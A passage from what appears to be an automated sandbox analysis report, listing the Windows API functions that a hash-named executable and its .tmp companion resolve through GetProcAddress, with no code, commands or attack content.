00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "GetProcAddress" with a parameter wine_get_version (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "GetProcAddress" with a parameter GetLogicalProcessorInformation (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguages (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguages (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "GetProcAddress" with a parameter GetThreadUILanguage (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "GetProcAddress" with a parameter SetDefaultDllDirectories (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "GetProcAddress" with a parameter SetSearchPathMode (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "GetProcAddress" with a parameter SetProcessDEPPolicy (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "GetProcAddress" with a parameter GetNativeSystemInfo (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "GetProcAddress" with a parameter CompareStringOrdinal (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "GetProcAddress" with a parameter VariantChangeTypeEx (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "GetProcAddress" with a parameter VarNeg (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "GetProcAddress" with a parameter VarNot (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "GetProcAddress" with a parameter VarAdd (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "GetProcAddress" with a parameter VarSub (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "GetProcAddress" with a parameter VarMul (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "GetProcAddress" with a parameter VarDiv (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "GetProcAddress" with a parameter VarIdiv (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "GetProcAddress" with a parameter VarMod (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "GetProcAddress" with a parameter VarAnd (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "GetProcAddress" with a parameter VarOr (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "GetProcAddress" with a parameter VarXor (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "GetProcAddress" with a parameter VarCmp (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "GetProcAddress" with a parameter VarI4FromStr (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "GetProcAddress" with a parameter VarR4FromStr (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "GetProcAddress" with a parameter VarR8FromStr (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "GetProcAddress" with a parameter VarDateFromStr (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "GetProcAddress" with a parameter VarCyFromStr (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "GetProcAddress" with a parameter VarBoolFromStr (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "GetProcAddress" with a parameter VarBstrFromCy (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "GetProcAddress" with a parameter VarBstrFromDate (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "GetProcAddress" with a parameter VarBstrFromBool (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "GetProcAddress" with a parameter Wow64DisableWow64FsRedirection (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "GetProcAddress" with a parameter Wow64RevertWow64FsRedirection (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "GetProcAddress" with a parameter GetUserDefaultUILanguage (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "GetProcAddress" with a parameter CheckTokenMembership (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter wine_get_version (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter GetLogicalProcessorInformation (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter GetThreadPreferredUILanguages (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter SetThreadPreferredUILanguages (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter GetThreadUILanguage (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter SetDefaultDllDirectories (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter SetSearchPathMode (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter SetProcessDEPPolicy (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter GetNativeSystemInfo (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter CompareStringOrdinal (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter VariantChangeTypeEx (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter VarNeg (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter VarNot (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter VarAdd (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter VarSub (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter VarMul (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter VarDiv (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter VarIdiv (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter VarMod (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter VarAnd (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter VarOr (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter VarXor (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter VarCmp (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter VarI4FromStr (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter VarR4FromStr (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter VarR8FromStr (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter VarDateFromStr (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter VarCyFromStr (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter VarBoolFromStr (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter VarBstrFromCy (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter VarBstrFromDate (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter VarBstrFromBool (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter CoAddRefServerProcess (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter CoReleaseServerProcess (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter CoResumeClassObjects (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter CoSuspendClassObjects (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter WTSRegisterSessionNotification (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter BufferedPaintInit (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter AnimateWindow (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter InitializeFlatSB (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter UninitializeFlatSB (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter FlatSB_GetScrollProp (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter FlatSB_SetScrollProp (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter FlatSB_EnableScrollBar (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter FlatSB_ShowScrollBar (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter FlatSB_GetScrollRange (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter FlatSB_GetScrollInfo (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter FlatSB_GetScrollPos (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter FlatSB_SetScrollPos (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter FlatSB_SetScrollInfo (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter FlatSB_SetScrollRange (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter SetLayeredWindowAttributes (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter OpenThemeData (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter CloseThemeData (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter DrawThemeBackground (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter DrawThemeText (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter DrawThemeTextEx (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter GetThemeBackgroundContentRect (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter GetThemePartSize (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter GetThemeTextExtent (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter GetThemeTextMetrics (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter GetThemeBackgroundRegion (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter HitTestThemeBackground (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter DrawThemeEdge (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter DrawThemeIcon (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "GetProcAddress" with a parameter IsThemePartDefined (UID: 00000000-00005220) 